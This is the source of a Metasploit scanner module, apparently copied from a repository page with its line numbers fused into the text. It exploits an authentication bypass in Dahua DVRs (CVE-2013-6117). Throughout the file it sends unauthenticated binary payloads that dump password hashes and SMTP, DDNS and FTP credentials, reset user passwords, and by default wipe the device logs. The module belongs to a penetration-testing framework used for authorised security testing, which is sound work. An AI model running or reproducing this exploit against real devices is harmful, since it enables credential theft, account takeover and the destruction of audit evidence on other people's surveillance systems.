Path: blob/master/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize11super(12'Name' => %q(Dahua DVR Auth Bypass Scanner),13'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),14'Author' => [15'Tyler Bennett - Talos Consulting', # Metasploit module16'Jake Reynolds - Depth Security', # Vulnerability Discoverer17'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module18'Nathan McBride' # regex extraordinaire19],20'References' => [21[ 'CVE', '2013-6117' ],22[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]23],24'License' => MSF_LICENSE,25'DefaultAction' => 'VERSION',26'Actions' => [27[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],28[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],29[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],30[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],31[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],32[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],33[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],34[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],35[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]36]37)3839register_options([40OptString.new('USERNAME', [false, 'A username to reset', '888888']),41OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),42OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),43Opt::RPORT(37777)44])45end4647U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \48"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"49DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"50# Payload to grab version of the DVR51VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \52"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"53# Payload to grab Email Settings of the DVR54EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \55"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"56# Payload to grab DDNS Settings of the DVR57DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \58"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"59# Payload to grab NAS Settings of the DVR60NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \61"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"62# Payload to grab the Channels that each camera is assigned to on the DVR63CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \64"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \65"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \66"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"67# Payload to grab the Users Groups of the DVR68GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \69"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"70# Payload to grab the Users and their hashes from the DVR71USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \72"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"73# Payload to grab the Serial Number of the DVR74SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \75"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"76# Payload to clear the logs of the DVR77CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \78"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"79CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \80"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"8182def setup83@password = datastore['PASSWORD']84@password ||= Rex::Text.rand_text_alpha(6)85end8687def grab_version88connect89sock.put(VERSION)90data = sock.get_once91return unless data =~ /[\x00]{8,}([[:print:]]+)/9293ver = Regexp.last_match[1]94print_good("#{peer} -- version: #{ver}")95end9697def grab_serial98connect99sock.put(SN)100data = sock.get_once101return unless data =~ /[\x00]{8,}([[:print:]]+)/102103serial = Regexp.last_match[1]104print_good("#{peer} -- serial number: #{serial}")105end106107def grab_email108connect109sock.put(EMAIL)110return unless (response = sock.get_once)111112data = response.split('&&')113print_good("#{peer} -- Email Settings:")114return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i115116if mailhost = Regexp.last_match[1].split(':')117print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?118print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?119print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?120mailserver = "#{mailhost[0]}"121mailport = "#{mailhost[1]}"122muser = "#{data[5]}"123mpass = "#{data[6]}"124end125return if muser.blank? && mpass.blank?126127print_good(" SMTP User: #{data[5]}")128print_good(" SMTP Password: #{data[6]}")129return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?130131report_email_cred(mailserver, mailport, muser, mpass)132end133134def grab_ddns135connect136sock.put(DDNS)137return unless (response = sock.get_once)138139data = response.split(/&&[0-1]&&/)140ddns_table = Rex::Text::Table.new(141'Header' => 'Dahua DDNS Settings',142'Indent' => 1,143'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']144)145data.each_with_index do |val, index|146next if index == 0147148val = val.split("&&")149ddns_service = val[0]150ddns_server = val[1]151ddns_port = val[2]152ddns_domain = val[3]153ddns_user = val[4]154ddns_pass = val[5]155ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]156unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?157if datastore['VERBOSE']158ddns_table.print159end160report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)161end162end163end164165def grab_nas166connect167sock.put(NAS)168return unless (data = sock.get_once)169170print_good("#{peer} -- NAS Settings:")171server = ''172port = ''173if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/174server = Regexp.last_match[1].unpack('C*').join('.')175port = Regexp.last_match[2].unpack('S')176end177if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data178ftpuser.strip!179ftppass.strip!180unless ftpuser.blank? || ftppass.blank?181print_good("#{peer} -- NAS Server: #{server}")182print_good("#{peer} -- NAS Port: #{port}")183print_good("#{peer} -- FTP User: #{ftpuser}")184print_good("#{peer} -- FTP Pass: #{ftppass}")185report_creds(186host: server,187port: port,188user: ftpuser,189pass: ftppass,190type: "FTP",191active: true192)193end194end195end196197def grab_channels198connect199sock.put(CHANNELS)200data = sock.get_once.split('&&')201channels_table = Rex::Text::Table.new(202'Header' => 'Dahua Camera Channels',203'Indent' => 1,204'Columns' => ['ID', 'Peer', 'Channels']205)206return unless data.length > 1207208data.each_with_index do |val, index|209number = index.to_s210channels = val[/([[:print:]]+)/]211channels_table << [ number, peer, channels ]212end213channels_table.print214end215216def grab_users217connect218sock.put(USERS)219return unless (response = sock.get_once)220221data = response.split('&&')222usercount = 0223users_table = Rex::Text::Table.new(224'Header' => 'Dahua Users Hashes and Rights',225'Indent' => 1,226'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']227)228data.each do |val|229usercount += 1230user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures231users_table << [ peer, user, md5hash, groups, rights, name]232# Write the dahua hash to the database233hash = "#{rhost} #{user}:$dahua$#{md5hash}"234report_hash(rhost, rport, user, hash)235# Write the vulnerability to the database236report_vuln(237host: rhost,238port: rport,239proto: 'tcp',240sname: 'dvr',241name: 'Dahua Authentication Password Hash Exposure',242info: "Obtained password hash for user #{user}: #{md5hash}",243refs: references244)245end246users_table.print247end248249def grab_groups250connect251sock.put(GROUPS)252return unless (response = sock.get_once)253254data = response.split('&&')255groups_table = Rex::Text::Table.new(256'Header' => 'Dahua groups',257'Indent' => 1,258'Columns' => ['ID', 'Peer', 'Group']259)260data.each do |val|261number = "#{val[/(([\d]+))/]}"262groups = "#{val[/(([a-z]+))/]}"263groups_table << [ number, peer, groups ]264end265groups_table.print266end267268def reset_user269connect270userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password271u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \272"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"273u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \274"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"275u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \276"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring277sock.put(u1)278sock.put(u2)279sock.put(u3)280sock.get_once281sock.put(u1)282return unless sock.get_once283284print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")285end286287def clear_logs288connect289sock.put(CLEAR_LOGS1)290sock.put(CLEAR_LOGS2)291print_good("#{peer} -- logs cleared")292end293294def peer295"#{rhost}:#{rport}"296end297298def run_host(_ip)299begin300connect301sock.put(U1)302data = sock.recv(8)303disconnect304return unless data == DVR_RESP305306print_good("#{peer} -- Dahua-based DVR found")307report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")308309case action.name.upcase310when 'CHANNEL'311grab_channels312when 'DDNS'313grab_ddns314when 'EMAIL'315grab_email316when 'GROUP'317grab_groups318when 'NAS'319grab_nas320when 'RESET'321reset_user322when 'SERIAL'323grab_serial324when 'USER'325grab_users326when 'VERSION'327grab_version328end329330clear_logs if datastore['CLEAR_LOGS']331ensure332disconnect333end334end335336def report_hash(rhost, rport, user, hash)337service_data = {338address: rhost,339port: rport,340service_name: 'dahua_dvr',341protocol: 'tcp',342workspace_id: myworkspace_id343}344345credential_data = {346module_fullname: fullname,347origin_type: :service,348private_data: hash,349private_type: :nonreplayable_hash,350jtr_format: 'dahua_hash',351username: user352}.merge(service_data)353354login_data = {355core: create_credential(credential_data),356status: Metasploit::Model::Login::Status::UNTRIED357}.merge(service_data)358359create_credential_login(login_data)360end361362def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)363service_data = {364address: ddns_server,365port: ddns_port,366service_name: 'ddns settings',367protocol: 'tcp',368workspace_id: myworkspace_id369}370371credential_data = {372module_fullname: fullname,373origin_type: :service,374private_data: ddns_pass,375private_type: :password,376username: ddns_user377}.merge(service_data)378379login_data = {380core: create_credential(credential_data),381status: Metasploit::Model::Login::Status::UNTRIED382}.merge(service_data)383384create_credential_login(login_data)385end386387def report_email_cred(mailserver, mailport, muser, mpass)388service_data = {389address: mailserver,390port: mailport,391service_name: 'email settings',392protocol: 'tcp',393workspace_id: myworkspace_id394}395396credential_data = {397module_fullname: fullname,398origin_type: :service,399private_data: mpass,400private_type: :password,401username: muser402}.merge(service_data)403404login_data = {405core: create_credential(credential_data),406status: Metasploit::Model::Login::Status::UNTRIED407}.merge(service_data)408409create_credential_login(login_data)410end411end412413414